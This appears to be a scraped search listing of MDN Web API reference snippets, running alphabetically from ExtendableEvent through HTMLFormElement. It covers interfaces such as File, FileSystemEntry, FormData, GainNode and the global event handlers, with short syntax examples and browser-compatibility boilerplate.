the extendableevent interface extends the lifetime of the install and activate events dispatched on the global scope as part of the service worker lifecycle. this ensures that any functional events (like fetchevent) are not dispatched until it upgrades database schemas and deletes the outdated cache entries. if waituntil() is called outside of the extendableevent handler, the browser should throw an invalidstateerror; note also that multiple calls will stack up, and the resulting promises will be added to the list of extend lifetime promises. note: the behaviour described in the above paragraph was fixed in firefox 43 (see bug 1180274.) this interface inherits from the event interface. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-...
FederatedCredential.protocol - Web APIs
redential.provider property. syntax var protocol = federatedcredential.protocol value a domstring containing a credential's federated identity protocol (e.g. openidconnect). examples // tbd specifications specification status comments credential management level 1the definition of 'protocol' in that specification. working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprotocol experimentalchr...
FederatedCredential.provider - Web APIs
eratedcredential interface returns a usvstring containing a credential's federated identity provider. syntax var provider = federatedcredential.provider value a usvstring containing a credential's federated identity provider. example // tbd specifications specification status comments credential management level 1 working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprovider experimentalchr...
FetchEvent() - Web APIs
conforming to the fetcheventinit dictionary, containing options to apply to the event object. options are as follows: clientid read only the client that the current service worker is controlling. isreload read only a boolean that signifies whether the page was reloaded or not when the event was dispatched. true if yes, and false if not. typically, pressing the refresh button in a browser is a reload, while clicking a link and pressing the back button is not. if not present, it defaults to false. preloadresponse read only a promise which returns a previously-loaded response to the client. replacesclientid read only a domstring which identifies the client which is being replaced by resultingclientid. resultingclientid read only a domstring containing the new client...
FetchEvent.navigationPreload - Web APIs
e, use the preloaded response, if it's there const response = await event.preloadresponse; if (response) return response; // else try the network. return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'navigationpreload' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnavigationpreload exper...
FetchEvent.respondWith() - Web APIs
in most cases you can provide any response that the receiver understands. for example, if an <img> initiates the request, the response body needs to be image data. for security reasons, there are a few global rules: you can only return response objects of type "opaque" if the fetchevent.request object's mode is "no-cors". this prevents the leaking of private data. you can only return response objects of type "opaqueredirect" if the fetchevent.request object's mode is "manual". you cannot return response objects of type "cors" if the fetchevent.request object's mode is "same-origin". ...
File.fileName - Web APIs
Web › API › File › fileName
this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. obsolete since gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. returns the name of the file. for security reasons the path is excluded from this property. this property is deprecated. use file.name instead. syntax var name = instanceoffile.filename; value a string specification not part of any specification. ...
File.getAsBinary() - Web APIs
Web › API › File › getAsBinary
this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. obsolete since gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. summary the getasbinary method allows to access the file's data in raw binary format. note: this method is obsolete; you should use the filereader method readasbinarystring() or readasarraybuffer() instead. syntax var binary = instanceoffile.getasbinary(); returns a string. example // fileinput is ...
File.getAsText() - Web APIs
Web › API › File › getAsText
try to avoid using it. summary the getastext method provides the file's data interpreted as text using a given encoding. note: this method is obsolete; you should use the filereader method readastext() instead. syntax var str = instanceoffile.getastext(encoding); parameters encoding a string indicating the encoding to use for the returned data. if this string is empty, utf-8 is assumed. ...
File.lastModified - Web APIs
Web › API › File › lastModified
in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 somefile.lastmodified; // 1519211809934 // 1519211810362 // 1519211811670 // ... // reduced time precision with `privacy.resistfingerprinting` enabled somefile.lastmodified; // 1519129853500 // 151912...
File.lastModifiedDate - Web APIs
in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 somefile.lastmodifieddate.gettime(); // 1519211809934 // 1519211810362 // 1519211811670 // ... // reduced time precision with `privacy.resistfingerprinting` enabled somefile.lastmodifieddate.gettime()...
File.mozFullPath - Web APIs
Web › API › File › mozFullPath
it is not available to web content. ...
File.type - Web APIs
Web › API › File › type
it is assumed based on the file extension; a png image file renamed to .txt would give "text/plain" and not "image/png". moreover, file.type is generally reliable only for common file types like images, html documents, audio and video. uncommon file extensions would return an empty string. client configuration (for insta...
File.webkitRelativePath - Web APIs
ocument.createelement("li"); item.innerhtml = files[i].webkitrelativepath; output.appendchild(item); }; }, false); result specifications specification status comment file and directory entries apithe definition of 'webkitrelativepath' in that specification. draft initial specification. this api has no official w3c or whatwg specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwebkitrelativepathchrome...
FileError - Web APIs
Web › API › FileError
r callbacks are not optional for your sanity although error callbacks are optional, you should include them in the arguments of the methods for the sake of the sanity of your users. a web app could fail for various reasons, so you don't want to spend the rest of your day guessing what's going on and going through maddening troubleshooting. don't run your app from file:// for security reasons, browsers do not allow you to run your app from file://. in fact, many of the powerful storage apis (such as file system, blobbuilder, and filereader) throw errors if you run the app locally from file://. when you're just testing your app, and you don't want to set up a web server, you can bypass the security restriction on chrome. just start chrome with the --allow-file-access-from-files flag. use the ...
FileList - Web APIs
Web › API › FileList
he input element onchange to call pullfiles document.queryselector("#myfiles").onchange=pullfiles; //a.t </script> </html> specifications specification status comment file apithe definition of 'filelist' in that specification. working draft html living standardthe definition of 'selected files' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilelistchrome ...
FileSystem.name - Web APIs
Web › API › FileSystem › name
is unique among all file systems currently exposed by the file and directory entries api. syntax var fsname = filesystem.name; value a usvstring representing the file system's name. example // tbd specifications specification status comment file and directory entries apithe definition of 'name' in that specification. draft initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnamechrome ...
FileSystem.root - Web APIs
Web › API › FileSystem › root
file system, for use with the file and directory entries api. syntax var rootdirent = filesystem.root; value a filesystemdirectoryentry representing the file system's root directory. example // tbd specifications specification status comment file and directory entries apithe definition of 'root' in that specification. draft initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrootchrome ...
FileSystemDirectoryEntry.createReader() - Web APIs
ore entries. when it returns an empty array, the end of the directory has beenr reached, and the recursion ends. once control is returned to readdirectory(), the array is returned to the caller. specifications specification status comment file and directory entries apithe definition of 'createreader()' in that specification. draft initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreatereader experimenta...
FileSystemDirectoryEntry.getDirectory() - Web APIs
contents of the file. when that is loaded successfully (as indicated by the loadend event being fired), the loaded text is passed into json.parse() to be reconstituted into a javascript object. specifications specification status comment file and directory entries apithe definition of 'getdirectory()' in that specification. draft initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetdirectory experimenta...
FileSystemDirectoryEntry.getFile() - Web APIs
d the contents of the file. when that is loaded successfully (as indicated by the loadend event being fired), the loaded text is passed into json.parse() to be reconstituted into a javascript object. specifications specification status comment file and directory entries apithe definition of 'getfile()' in that specification. draft initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetfile experimentalchro...
FileSystemEntry.filesystem - Web APIs
he filesystementry is located.. example this example obtains a filesystemdirectoryentry for the root directory of the file system containing a file. let rootdirentry = fileentry.filesystem.root; specifications specification status comment file and directory entries apithe definition of 'filesystem' in that specification. draft initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystem experimentalc...
FileSystemEntry.fullPath - Web APIs
that the file's full path is "/data.json", having just looked it up ourselves, but the concept holds up for scenarios in which you don't know it. specifications specification status comment file and directory entries apithe definition of 'fullpath' in that specification. draft initial specification. this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfullpath experimentalchr...
FileSystemEntry.getParent() - Web APIs
getparentpromise(entry) { return new promise((resolve, reject) => { entry.getparent(resolve, reject); }); } a similar approach can be taken elsewhere in the file and directory entries api. specifications specification status comment file and directory entries apithe definition of 'getparent()' in that specification. draft initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetparent experimentalch...
FileSystemEntry.isDirectory - Web APIs
iate message. if (entry.isdirectory) { processsubdirectory(entry); } else if (entry.isfile) { processfile(entry); } else { displayerrormessage("unsupported file system entry specified."); } specifications specification status comment file and directory entries apithe definition of 'isdirectory' in that specification. draft initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetisdirectory experimental...
FileSystemEntry.isFile - Web APIs
propriate message. if (entry.isdirectory) { processsubdirectory(entry); } else if (entry.isfile) { processfile(entry); } else { displayerrormessage("unsupported file system entry specified."); } specifications specification status comment file and directory entries apithe definition of 'isfile' in that specification. draft initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetisfile experimentalchrom...
FileSystemEntry.name - Web APIs
ecified filesystementry is both a file and the file's name ends with a given extension. function isfilewithextension(entry, extension) { return (entry.isfile && entry.name.endswith("." + extension)); } specifications specification status comment file and directory entries apithe definition of 'name' in that specification. draft initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetname experimentalchrome ...
FileSystemFileEntry.file() - Web APIs
d event handler is set up to deliver the loaded string to the successcallback specified when the readfile() method was called; similarly, its error handler is set up to call the errorcallback specified. specifications specification status comment file and directory entries apithe definition of 'file()' in that specification. draft initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilechrome ...
FileSystemFlags.create - Web APIs
ed, then a filesystemfileentry or a filesystemdirectoryentry is passed to the successcallback, as appropriate. [1] when create is false, the value of exclusive is irrelevant and ignored. specifications specification status comment file and directory entries apithe definition of 'filesystemflags' in that specification. draft initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreate experimentalchrom...
FileSystemFlags.exclusive - Web APIs
ed, then a filesystemfileentry or a filesystemdirectoryentry is passed to the successcallback, as appropriate. [1] when create is false, the value of exclusive is irrelevant and ignored. specifications specification status comment file and directory entries apithe definition of 'filesystemflags' in that specification. draft initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetexclusive experimentalch...
FileSystemFlags - Web APIs
ed, then a filesystemfileentry or a filesystemdirectoryentry is passed to the successcallback, as appropriate. [1] when create is false, the value of exclusive is irrelevant and ignored. specifications specification status comment file and directory entries apithe definition of 'filesystemflags' in that specification. draft initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystemflags experime...
FontFaceSetLoadEvent.FontFaceSetLoadEvent() - Web APIs
ype[, options]) parameters type the literal value 'type' (quotation marks included). options optional options are as follows: fontfaces: an array of fontface instances. specifications specification status comment css font loading module level 3the definition of 'fontfacesetloadevent()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfontfacesetloadevent() ...
FontFaceSetLoadEvent.fontfaces - Web APIs
init interface returns an array of fontface instances, each of which represents a single usable font. syntax var fontface[] = fontfacesetloadevent.fontfaces value an array of fontface instance. specifications specification status comment css font loading module level 3the definition of 'fontfaces' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfontfaces experimentalc...
FontFaceSetLoadEvent - Web APIs
reates a new fontfacesetloadevent object. properties fontfacesetloadevent.fontfacesread only returns an array of fontface instances each of which represents a single usable font. specifications specification status comment css font loading module level 3the definition of 'fontfacesetloadevent' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfontfacesetloadevent ex...
FormData.append() - Web APIs
Web › API › FormData › append
the filename reported to the server (a usvstring), when a blob or file is passed as the second parameter. the default filename for blob objects is "blob". the default filename for file objects is the file's filename. note: if you specify a blob as the data to append to the formdata object, the filename that will be reported to the server in the "content-disposition" header used to vary from browser to browser. returns void. example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you can add key/value pairs to this using formdata.append: formdata.append('username', 'chris'); formdata.append('userpic', myfileinput.files[0], 'chris.jpg'); as with regular form data, you can append multiple values with the same name. for example (...
FormData.set() - Web APIs
Web › API › FormData › set
the filename reported to the server (a usvstring), when a blob or file is passed as the second parameter. the default filename for blob objects is "blob". the default filename for file objects is the file's filename. note: if you specify a blob as the data to append to the formdata object, the filename that will be reported to the server in the "content-disposition" header used to vary from browser to browser. example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you can set key/value pairs on this using formdata.set: formdata.set('username', 'chris'); formdata.set('userpic', myfileinput.files[0], 'chris.jpg'); if the sent value is different than string or blob it will be automatically converted to string: formdata.set('name...
GainNode() - Web APIs
Web › API › GainNode › GainNode
options optional options are as follows: gain: the amount of gain to apply. this parameter is a-rate and it's nominal range is (-∞,+∞). the default is 1. return value a new gainnode object instance. specifications specification status comment web audio apithe definition of 'gainnode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgainnode() constructorc...
GainNode.gain - Web APIs
Web › API › GainNode › gain
mute.onclick = voicemute; function voicemute() { if(mute.id == "") { // 0 means mute. if you still hear something, make sure you haven't // connected your source into the output in addition to using the gainnode. gainnode.gain.setvalueattime(0, audioctx.currenttime); mute.id = "activated"; mu...
GainNode - Web APIs
Web › API › GainNode
mute.onclick = voicemute; function voicemute() { if(mute.id == "") { // 0 means mute. if you still hear something, make sure you haven't // connected your source into the output in addition to using the gainnode. gainnode.gain.setvalueattime(0, audioctx.currenttime); mute.id = "activated"; mu...
Gamepad - Web APIs
Web › API › Gamepad
the device. gamepad.connected read only a boolean indicating whether the gamepad is still connected to the system. gamepad.id read only a domstring containing identifying information about the controller. gamepad.index read only an integer that is auto-incremented to be unique for each device currently connected to the system. gamepad.mapping read only a string indicating whether the browser has remapped the controls on the device to a known layout. gamepad.timestamp read only a domhighrestimestamp representing the last time the data for this gamepad was updated. experimental extensions to gamepad the following interfaces are defined in the gamepad extensions specification, and provide access to experimental features like haptic feedback and webvr controller pose information.
GamepadEvent - Web APIs
d.axes.length); }); and on a window.gamepaddisconnected event. window.addeventlistener("gamepaddisconnected", function(e) { console.log("gamepad disconnected from index %d: %s", e.gamepad.index, e.gamepad.id); }); specifications specification status comment gamepadthe definition of 'gamepadevent' in that specification. ...
Geolocation - Web APIs
ess to the location of the device. this allows a web site or app to offer customized results based on the user's location. an object with this interface is obtained using the navigator.geolocation property implemented by the navigator object. note: for security reasons, when a web page tries to access location information, the user is notified and asked to grant permission. be aware that each browser has its own policies and methods for requesting this permission. properties the geolocation interface neither implements, nor inherits any property. methods the geolocation interface doesn't inherit any method. geolocation.getcurrentposition() secure context determines the device's current location and gives back a geolocationposition object with the data. geolocation.watchposition() ...
GlobalEventHandlers.onabort - Web APIs
todo: define what "abort" is. closing the window via window manager? stopping the load of the page? by which means and reasons (user, network/server)? at which stages would it fire / be caught? for ie, onabort is only available with <img> tags. ...
GlobalEventHandlers.onanimationcancel - Web APIs
entbyid('togglebox').addeventlistener('click', function() { if (box.style.display == "none") { box.style.display = "flex"; document.getelementbyid("togglebox").innerhtml = "hide the box"; } else { box.style.display = "none"; document.getelementbyid("togglebox").innerhtml = "show the box"; } }); toggling the box to display: none has the effect of aborting its animation. in browsers that support animationcancel, the event is fired and this handler is called. result assembled together, you get this: if your browser supports animationcancel, hiding the box using the button will cause a message to be displayed about the event. specification specification status comment css animationsthe definition of 'onanimationcancel' in that specification. ...
GlobalEventHandlers.onauxclick - Web APIs
the onauxclick property of the globaleventhandlers mixin is an eventhandler for processing auxclick events. the auxclick event is raised when a non-primary button has been pressed on an input device (e.g., a middle mouse button). it fires after the mousedown and mouseup events, in that order. note: browser vendors are implementing this property as part of a plan to improve compatibility with regards to button behaviors. specifically, event behavior is being updated so that click only fires for primary button clicks (e.g., left mouse button), while auxclick fires for non-primary button clicks. historically, click has generally fired for the click of any device input button, although with browser behavior being somewhat inconsistent. syntax target.onauxclick = functionref; val...
GlobalEventHandlers.oncontextmenu - Web APIs
syntax target.oncontextmenu = functionref; value functionref is a function name or a function expression. the function receives an event object as its sole argument. only one oncontextmenu handler can be assigned to an object at a time. ...
GlobalEventHandlers.onkeypress - Web APIs
the onkeypress event handler has been deprecated. you may want to use onkeydown instead. syntax target.onkeypress = functionref; value functionref is a function name or a function expression. the function receives a keyboardevent object as its sole argument. ...
GlobalEventHandlers.onmousewheel - Web APIs
instead use the standard wheel event. syntax element.onmousewheel = handlerfunction; var handlerfunction = element.onmousewheel; handlerfunction should be either null or a javascript function specifying the handler for the event. notes see the dom event handlers page for information on working with on... handlers. ...
GlobalEventHandlers.onplay - Web APIs
nplay = handlerfunction; var handlerfunction = element.onplay; handlerfunction should be either null or a javascript function specifying the handler for the event. example <p>this example demonstrates how to assign an "onplay" event to a video element.</p> <video controls onplay="alertplay()"> <source src="mov_bbb.mp4" type="video/mp4"> <source src="mov_bbb.ogg" type="video/ogg"> your browser does not support html5 video. </video> <p>video courtesy of <a href="http://www.bigbuckbunny.org/" target="_blank">big buck bunny</a>.</p> <script> function alertplay() { alert("the video has started to play."); } </script> specification specification status comment html living standardthe definition of 'onplay' in that specification. living standard ...
GlobalEventHandlers.onresize - Web APIs
the onresize property of the globaleventhandlers interface is an eventhandler that processes resize events. the resize event fires after the window has been resized. syntax window.onresize = functionref; value functionref is a function name or a function expression. the function receives a focusevent object as its sole argument. ...
HTMLAnchorElement.referrerPolicy - Web APIs
; elt.referrerpolicy = "no-referrer"; var div = document.getelementbyid("divaround"); div.appendchild(elt); // when clicked, the link will not send a referrer header. specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification. candidate recommendation added the referrerpolicy property. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicychrome ...
HTMLAnchorElement - Web APIs
d; pointer-events: all;} properties inherits properties from its parent, htmlelement, and implements those from htmlhyperlinkelementutils. element.accesskey is a domstring representing a single character that switches input focus to the hyperlink. htmlanchorelement.download is a domstring indicating that the linked resource is intended to be downloaded rather than displayed in the browser. the value represent the proposed name of the file. if the name is not a valid filename of the underlying os, browser will adapt it. htmlhyperlinkelementutils.hash is a usvstring representing the fragment identifier, including the leading hash mark ('#'), if any, in the referenced url. htmlhyperlinkelementutils.host is a usvstring representing the hostname and port (if it's not the default ...
HTMLAreaElement.referrerPolicy - Web APIs
rrer"; elt.coords = "0,0,100,100"; var map = document.getelementbyid("mymap"); map.appendchild(elt); // when clicked, the area's link will not send a referrer header. specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification. candidate recommendation added the referrerpolicy property. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicychrome ...
Audio() - Web APIs
url optional an optional domstring containing the url of an audio file to be associated with the new audio element. return value a new htmlaudioelement object, configured to be used for playing back the audio from the file specified by url.the new object's preload property is set to auto and its src property is set to the specified url or null if no url is given. if a url is specified, the browser begins to asynchronously load the media resource before returning the new object. usage notes you can also use other element-creation methods, such as the document object's createelement() method, to construct a new htmlaudioelement. determining when playback can begin there are three ways you can tell when enough of the audio file has loaded to allow playback to begin: check the valu...
HTMLAudioElement - Web APIs
ent offset, returning the number of bytes actually written to the stream. examples basic usage you can create a htmlaudioelement entirely with javascript using the audio() constructor: var audioelement = new audio('car_horn.wav'); then you can invoke the play() method on the element audioelement.play(); a common gotcha is trying to play an audio element immediately on page load. modern browser's default autoplay policy will block that from happening. refer to firefox and chrome for best practices and work arounds. some of the more commonly used properties of the audio element include src, currenttime, duration, paused, muted, and volume. this snippet copies the audio file's duration to a variable: var audioelement = new audio('car_horn.wav'); audioelement.addeventlistener('loadedd...
HTMLBaseElement - Web APIs
lement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlbaseelement.href is a domstring that reflects the href html attribute, containing a base url for relative urls in the document. htmlbaseelement.target is a domstring that reflects the target html attribute, containing a default target browsing context or frame for elements that do not have a target reference specified. methods no specific method; inherits attributes from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmlbaseelement' in that specification. living standard html 5.1the definition of 'htmlbaseelement' in that spec...
HTMLBaseFontElement - Web APIs
properties inherits properties from its parent, htmlelement. htmlbasefontelement.color is a domstring representing the text color using either a named color or a color specified in the hexadecimal #rrggbb format. htmlbasefontelement.face is a domstring representing a list of one or more font names. the document text in the default style is rendered in the first font face that the client's browser supports. if no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system. htmlbasefontelement.size is a domstring representing the font size as either a numeric or relative value. numeric values range from 1 to 7 with 1 being the smallest and 3 the default. relative value starts with a '+' or a '-'. methods no spec...
HTMLBodyElement - Web APIs
nter-events: all;} properties inherits properties from its parent, htmlelement and from windoweventhandlers. htmlbodyelement.alink is a domstring that represents the color of active hyperlinks. htmlbodyelement.background is a domstring that represents the description of the location of the background image resource. note that this is not an uri, though some older version of some browsers do expect it. htmlbodyelement.bgcolor is a domstring that represents the background color for the document. htmlbodyelement.link is a domstring that represents the color of unvisited links. htmlbodyelement.text is a domstring that represents the foreground color of text. htmlbodyelement.vlink is a domstring that represents the color of visited links. methods no specific meth...
HTMLDialogElement: close event - Web APIs
living standard ...
HTMLElement.dir - Web APIs
Web › API › HTMLElement › dir
ir property set to "rtl" in which case the html attributes title and alt will be formatted and defined as "rtl". when a table has its dir set to "rtl", the column order is arranged from right to left. when an element has its dir set to "auto", the direction of the element is determined based on its first strong directionality character, or default to the directionality of its parent element. browsers might allow users to change the directionality of <input> and <textarea>s in order to assist with authoring content. chrome and safari provide a directionality option in the contextual menu of input fields while internet explorer and edge use the key combinations ctrl + left shift and ctrl + right shift. firefox uses ctrl/cmd + shift + x but does not update the dir attribute value. syntax v...
inert - Web APIs
Web › API › HTMLElement › inert
the boolean inert attribute, when present, may make the browser "ignore" the element from assistive technologies, page search and text selection. this can be useful when building uis such as modals where you would want to "trap" the focus inside the modal when it's visible. according to the spec: when a node is inert, then the user agent must act as if the node was absent for the purposes of targeting user interaction events, may ignore the node for the purposes of text search user interfaces (commonly known as "find in page"), and may prevent the user from selecting text in that node. polyfills currently, browser support is lacking. check out the following polyfills: inert ...
HTMLElement.offsetParent - Web APIs
ul because offsettop and offsetleft are relative to its padding edge. syntax parentobj = element.offsetparent; parentobj is an object reference to the element in which the current element is offset. specification specification status comment css object model (cssom) view modulethe definition of 'offsetparent' in that specification. working draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoffsetparentchrome ...
HTMLElement.oncopy - Web APIs
at processes copy events. the copy event fires when the user attempts to copy text. syntax target.oncopy = functionref; value functionref is a function name or a function expression. the function receives a clipboardevent object as its sole argument. example this example blocks every copy and paste attempt from the <textarea>. ...
HTMLElement.oncut - Web APIs
Web › API › HTMLElement › oncut
attempts to cut text. syntax target.oncut = functionref; value functionref is a function name or a function expression. the function receives a clipboardevent object as its sole argument. example this example allows text to be copied from the <textarea>, but doesn't allow text to be cut. it also logs each copy and cut attempt. ...
HTMLElement.onpaste - Web APIs
tain the text being pasted; you'll have to use an nsiclipboard to get that information. syntax target.onpaste = functionref; value functionref is a function name or a function expression. the function receives a clipboardevent object as its sole argument. example this example logs every copy and paste attempt to the <textarea>. ...
HTMLElement: pointermove event - Web APIs
bubbles yes cancelable yes interface pointerevent event handler property onpointermove usage notes the event, which is of type pointerevent, provides all the information you need to know about the user's interaction with the pointing device, including the position, movement distance, button states, and much more. ...
HTMLFieldSetElement - Web APIs
ter-events: all;} properties inherits properties from its parent, htmlelement. htmlfieldsetelement.disabled a boolean reflecting the disabled html attribute, indicating whether the user can interact with the control. htmlfieldsetelement.elementsread only the elements belonging to this field set. the type of this property depends on the version of the spec that is implemented by the browser. htmlfieldsetelement.formread only an htmlformcontrolscollection or htmlcollection referencing the containing form element, if this element is in a form. if the field set is not a descendant of a form element, then the attribute can be the id of any form element in the same document it is related to, or the null value if none matches. htmlfieldsetelement.name a domstring reflecting the na...
HTMLFontElement.face - Web APIs
the obsolete htmlfontelement.face property is a domstring that reflects the face html attribute, containing a comma-separated list of one or more font names. the document text, in the default style, is rendered as the first font face that the client's browser supports. if no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system. the format of the string must follow one of the following html microsyntax: microsyntax description examples list of one or more valid font family names a list of font names, that have to be present on the local system courier,verdana syntax facestring = fontobj.face; fontobj.face = facestring; examples // assumes there is <font id="f">...
HTMLFormElement.name - Web APIs
